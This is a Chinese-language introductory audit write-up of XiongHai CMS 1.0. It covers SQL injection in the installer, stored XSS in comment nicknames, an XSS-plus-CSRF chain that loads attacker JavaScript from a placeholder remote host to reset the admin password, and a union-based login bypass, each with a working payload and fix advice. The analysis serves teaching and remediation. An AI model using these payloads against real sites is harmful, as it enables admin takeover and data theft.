入门级cms审计

简介: 熊海CMS是一款小型的内容管理系统,可以用于入门的审计学习。

0x001前言:

熊海CMS是一款小型的内容管理系统,可以用于入门的审计学习。


0x002:网站目录结构:

iseaCMS_1.0

├──admin            网站后台

├──css               网站css,js的一些静态文件

├──files              网站主页面和一些功能函数

├──images            图片

├──inc                连接数据库的一些配置文件

├──install              网站安装目录

├──seacmseditor        第三方的编辑器

├──template           网站模板

├──upload             网站文件上传目录

├──index.php     入口文件,直接包含到/files/index.php主页文件



0x003:安装处存在的sql注入:

漏洞分析:

漏洞存在的位置在安装时候的install/install.php

可以看到代码逻辑是通过判断是否有InstalLock.txt来判断是否需要安装

对传入的user参数没有经过过滤直接插入到了下面的update语句,mysql_error直接输出了报错信息,比较常见的报错注入

Payload:

1' and(updatexml(1,concat(0x7e,(select user()),0x7e),1));#

下面只需要在管理账号这一栏插入我们的payload,然后在插入的时候就会显示报错

修复建议:

可以看到设置的编码是utf-8编码的,我们进行转义

我们定义一个函数来进行转义,因为字符编码是utf-8的所以我们就可以进行转义,使用mysql_real_escape_string函数来进行一个转义从而正确的预防sql注入

0x004 前台存储型xss:

漏洞分析:

漏洞位置在files/submit.php

首先打开了session,对传入的type进行了addslashes进行转义,5-13行接受的参数没有进行过滤,如果没有进行二次过滤所以存在存储型xss,接着往下看

可以看到在35行使用了正则对输入的评论内容进行匹配, preg_match("/([\x81-\xfe][\x40-\xfe])对GBK中文编码的匹配,如果评论中不包含中文字符就会提示,接着向下看

在43-45行对输入的url进行判断,然后对Content进行了过滤,除去HTML代码然后进行了addslashes进行了转义,防止了xss的输入,但是在昵称的地方没有任何的过滤导致我们评论处在填写昵称的时候有一处存储型xss漏洞,参数是name,主要攻击目标是用户

修复建议:

使用htmlentities对输出的内容进行实体编码来进行修复

0x005修改管理员密码  存储型xss+csrf:

漏洞分析:

先看/admin/files/commentlist.php

在188行的位置会从数据库中取出来留言信息,在209-213行输出出来,这里从content表中查询出数据后没有经过任何过滤就输出在后台了,然后我们再跳到输入的地方看一下

发现输入的地方是跟之前评论处xss是一样的,这时候我们可以弹管理员的cookie进行cookie伪造进行登录

在/admin/files/manageinfo.php,看到在后台修改密码的地方只判断了俩次修改密码的地方不为空并且俩次输入的账号密码为一致的,然后在后面就会dm5进行编码后插入到我们的数据库当中去,不需要旧的密码也没有使用token

所以这里存在csrf漏洞再结合之前的xss可以打出一套组合拳修改管理员的账号密码,我们可以写一段js代码来进行修改管理员账号密码,我们只需要在远程写好js发送post数据,再使用src插入就可以了,这次的主要攻击目标是管理员。

payload:

<script src=”http://xx.xxx.xx..xx/xx.js”></script>

修复建议:

同样使用htmlentities对输出的内容进行实体编码

在修改密码的时候加上效验,添加一个原密码的验证,原密码是从数据库中取出来的password的md5,对输入的md5进行比对

0x006 万能密码:

漏洞分析:

漏洞位置admin/files/login.php

user没有做过滤直接插入到sql语句中去查询对比,正常的万能密码这样的,这显然是不同的,查看一下sql语句

Select user_id,user_type,email From users Whereuser_id=user And password=pass

我们在从数据库中查询密码的时候没有将password参数拼接在后面的sql语句中,数据库中存储的password是md5加密的,所以就要考虑是否可以进行绕过

此时user没有经过过滤直接拼接进入数据库中查询,password的md5的判断是从数据库中取出来的值和输入的值是否相同,我们可以进行伪造账号密码来进行登录

payload:



user: 1' union select 1,2,3,'c4ca4238a0b923820dcc509a6f75849b',5,6,7,8#password:1

在第四个位置是一串md5,md5的值=1,第四个位置的md5值必须是password的md5值,此方法就等于伪造了一个管理员账号进行登录,这是正常查询管理员登录的表

使用union的方法,临时在manage下面插入临时的字段,并且添加的值是我们可控的,所以我们插入我们的payload就是通过传入新的md5加密后的password,达到绕过的效果

根据之前发现的sql注入发现此处也是存在sql注入的,就不再多说

修复建议:

对user传入的参数进行一个过滤,跟之前sql注入做的防御是一样的,在外部创建一个php文件直接include调用也可以

目录
相关文章
|
2月前
|
弹性计算 安全 API
干货长文快收藏!阿里云专家教你如何安全访问和管理ECS资源
本文整理自【弹性计算技术公开课——ECS安全季】系列课程中,阿里云弹性计算高级技术专家张振华带来的课程《如何安全访问和管理ECS资源》一节。
|
2月前
|
弹性计算 监控 调度
带你读《弹性计算技术指导及场景应用》——2. vGPU资源利用率的提升、监控与告警的实现
带你读《弹性计算技术指导及场景应用》——2. vGPU资源利用率的提升、监控与告警的实现
135 2
|
存储 机器学习/深度学习 弹性计算
《企业运维之弹性计算原理与实践》——第五章 CMS&ESS——第五章(上):CMS&ESS(4)
《企业运维之弹性计算原理与实践》——第五章 CMS&ESS——第五章(上):CMS&ESS(4)
76 0
|
消息中间件 弹性计算 运维
《企业运维之弹性计算原理与实践》——第五章 CMS&ESS——第五章(上):CMS&ESS(1)
《企业运维之弹性计算原理与实践》——第五章 CMS&ESS——第五章(上):CMS&ESS(1)
64 0
|
消息中间件 弹性计算 运维
《企业运维之弹性计算原理与实践》——第五章 CMS&ESS——第五章(上):CMS&ESS(3)
《企业运维之弹性计算原理与实践》——第五章 CMS&ESS——第五章(上):CMS&ESS(3)
60 0
|
数据采集 弹性计算 运维
《企业运维之弹性计算原理与实践》——第五章 CMS&ESS——第五章(上):CMS&ESS(2)
《企业运维之弹性计算原理与实践》——第五章 CMS&ESS——第五章(上):CMS&ESS(2)
63 0
|
存储 弹性计算 运维
《企业运维之弹性计算原理与实践》——第五章 CMS&ESS——第五章(上):CMS&ESS(5)
《企业运维之弹性计算原理与实践》——第五章 CMS&ESS——第五章(上):CMS&ESS(5)
44 0
|
存储 弹性计算 运维
《企业运维之弹性计算原理与实践》——第五章 CMS&ESS——第五章(上):CMS&ESS(6)
《企业运维之弹性计算原理与实践》——第五章 CMS&ESS——第五章(上):CMS&ESS(6)
47 0
|
弹性计算 运维 负载均衡
《企业运维之弹性计算原理与实践》——第五章 CMS&ESS——第五章(下)实验:ESS 结合 CMS 自动弹性伸缩(1)
《企业运维之弹性计算原理与实践》——第五章 CMS&ESS——第五章(下)实验:ESS 结合 CMS 自动弹性伸缩(1)
96 0
|
弹性计算 运维 监控
《企业运维之弹性计算原理与实践》——第五章 CMS&ESS——第五章(下)实验:ESS 结合 CMS 自动弹性伸缩(4)
《企业运维之弹性计算原理与实践》——第五章 CMS&ESS——第五章(下)实验:ESS 结合 CMS 自动弹性伸缩(4)
47 0